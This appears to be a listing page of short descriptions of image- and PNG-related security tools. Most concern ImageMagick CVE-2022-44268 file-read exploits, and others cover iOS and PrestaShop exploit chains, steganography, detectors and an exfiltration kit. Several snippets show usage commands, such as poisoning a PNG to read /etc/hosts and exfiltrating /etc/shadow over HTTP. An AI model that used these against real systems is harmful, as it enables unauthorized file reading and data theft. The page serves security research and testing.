ssrf-sheriff

SSRF Sheriff This is an SSRF testing sheriff written in Go. It was originally created for the Uber H1-4420 2019 London Live Hacking Event, but it is now being open-sourced for other organizations to implement and contribute back to. Features Respond to any HTTP method GET, POST, PUT, DELETE, etc...

auto-cve-2022-44268.sh

auto-cve-2022-44268 Automating exploitation of CVE-2022-44268 ImageMagick Arbitrary File Read Original finding: https://www.metabaseq.com/imagemagick-zero-days/ PoC Repository: https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC Description ImageMagick will interpret the...

glass-cage-i18-2025-24085-and-cve-2025-24201

Original Fork Network Left Glass Cage: Zero-Click PNG Exploit Chain for iOS 18.2.1 CVE-2025-24201 – WebKit Remote Code Execution CVE-2025-24085 – Core Media Privilege Escalation Reported to Apple: January 9, 2025 Patched: February–March 2025 Tested On: iPhone 14 Pro Max iOS 18.2.1 CVSS Base Score...

Exe2Image

Exe2Image A simple utility to convert EXE files to PNG images and vice versa. Download: https://github.com/OsandaMalith/Exe2Image/releases Screenshots Putty.exe converted to an image...

steganographer

Steganography in Python This script will hide files inside images and save the modified image to disk The maximum size of file which can be hidden inside an image depends on the dimension of the image. root@kitploit: maxfilesize = heightofimage widthofimage 6 / 8 bytes '100k words.txt' is hidden ...

cve-2022-44268-detector

cve-2022-44268-detector - detect malicious PNGs cve-2022-44268-detector is a Go program that consumes PNGs and reports whether they appear to be malicious images generated by an exploit for CVE-2022-44268, an ImageMagick vulnerability that allows attackers to read arbitrary file contents using...

ImageMagick-lfi-poc

ImageMagick-lfi-poc ImageMagick Arbitrary Read Files - CVE-2022-44268 also used in htb pilgrimage ImageMagick LFI PoC CVE-2022-44268 The researchers at MetabaseQ discovered CVE-2022-44268, i.e. ImageMagick 7.1.0-49 is vulnerable to Information Disclosure. When it parses a PNG image e.g., for...

CVE-2022-44268-MagiLeak

ImageMagick Arbitrary Read Files - CVE-2022-44268 This repository contains a proof-of-concept PoC code for exploiting the arbitrary file read vulnerability CVE-2022-44268 in ImageMagick. The PoC demonstrates how an attacker can leverage the vulnerability to read arbitrary files on the system...

DoodleCloud

DoodleCloud ☁️ Turn Instagram into your personal, infinite cloud storage. DoodleCloud is a Proof-of-Concept PoC tool that uses Instagram's internal API to store unlimited files for free. By converting files into "Visual Noise" images and uploading them as DM doodles, we can bypass file type...

CVE-2022-44268

CVE-2022-44268 🧙‍♂️ CVE-2022-44268 ImageMagick Arbitrary File Read - Proof of Concept exploit Video 📼 https://youtu.be/quKxwNAMBIA Usage 🛠 Poison the image ☣️ root@kitploit: python3 CVE-2022-44268.py --image imagetopoison.png --file-to-read /etc/hosts --output poisoned.png root@kitploit: Upload...

exfilkit

exfilkit Data exfiltration utility for testing detection capabilities Description Data exfiltration utility used for testing detection capabilities of security products. Obviously for legal purposes only. Exfiltration How-To /etc/shadow - HTTP GET requests Server root@kitploit: ./exfilkit-cli.py ...

exfilkit

exfilkit 用于测试检测能力的数据外泄工具 描述 用于测试安全产品检测能力的数据外泄工具。显然仅用于合法目的。 外泄操作指南 /etc/shadow - HTTP GET 请求 Server root@kitploit: ./exfilkit-cli.py -m exfilkit.methods.http.paramcipher.GETServer -lp 80 -o output.log Client root@kitploit: $ ./exfilkit-cli.py -m exfilkit.methods.http.paramcipher.GETClient -rh...

CVE-2024-34716

CVE-2024-34716PoC More technical details can be found on https://ayoubmokhtar.com/post/pngdrivenchainxsstoremotecodeexecutionprestashop8.1.5cve-2024-34716/ Installation pip install -r requirements.txt Usage Usage: python exploit.py --url --email --local-ip --admin-path...

CVE-2025-65018-Heap-buffer-overflow-in-libpng-ps4-ps5-

Poc for CVE-2025-65018-Heap-buffer-overflow-in-libpng-ps4-ps5- Usage: 1-press share button and make screenshot 2-with ftp go to path:/user/avcontents/photo/NPXS20001/NPXS20001/XXX/ you will find screenshot that you make. 3-copy it to pc and run it with makepng.py it will output poc.png 4-rename i...

cve-2022-44268

CVE-2022-44268 Credit to the researchers who discovered this: Bryan Gonzalez and the Ocelot Team Create a malicious PNG to take advantage of ImageMagick 7.1.0-40: CVE-2022-44267: Denial of Service CVE-2022-44268: Information Disclosure Disclaimer: The author of this project is not responsible for...

CVE-2022-44268-Exploit

CVE-2022-44268-Exploit Expoit for CVE-2022-44268 Arbitrary File Read PoC - PNG generator This is a proof of concept of the ImageMagick bug discovered by https://www.metabaseq.com/imagemagick-zero-days/ Edit malfile variable to pwd/pngout.png Edit cmd to vulnerable magick installation path...

tweetable-polyglot-png

tweetable-polyglot-png Pack up to 3MB of data into a tweetable PNG polyglot file. See it in action here: https://twitter.com/David3141593/status/1371974874856587268 Other image hosts I've verified this technique to work on: Imgur https://i.imgur.com/kNhGrN3.png Github repo thumbnail/header image...

cve-2022-44268

CVE-2022-44268 ImageMagick is a free and open-source cross-platform software suite for displaying, converting, and editing raster image and vector image files. It can read and write over 200 image file formats. ImageMagick is licensed under the Apache License 2.0. It is available in the form of...

Remote-Desktop-Caching-

Remote-Desktop-Caching- This tool allows one to recover old RDP mstsc session information in the form of broken PNG files. These PNG files allows Red Team member to extract juicy information such as LAPS passwords or any sensitive information on the screen. Blue Team member can reconstruct PNG...

zsteg

zsteg Descripción detecta datos ocultos por esteganografía en PNG y BMP Instalación root@kitploit: gem install zsteg Detecta: Esteganografía LSB en PNG y BMP Datos comprimidos con zlib OpenStego Camouflage 1.2.1 LSB con el conjunto de Eratóstenes Uso root@kitploit: zsteg -h Usage: zsteg options...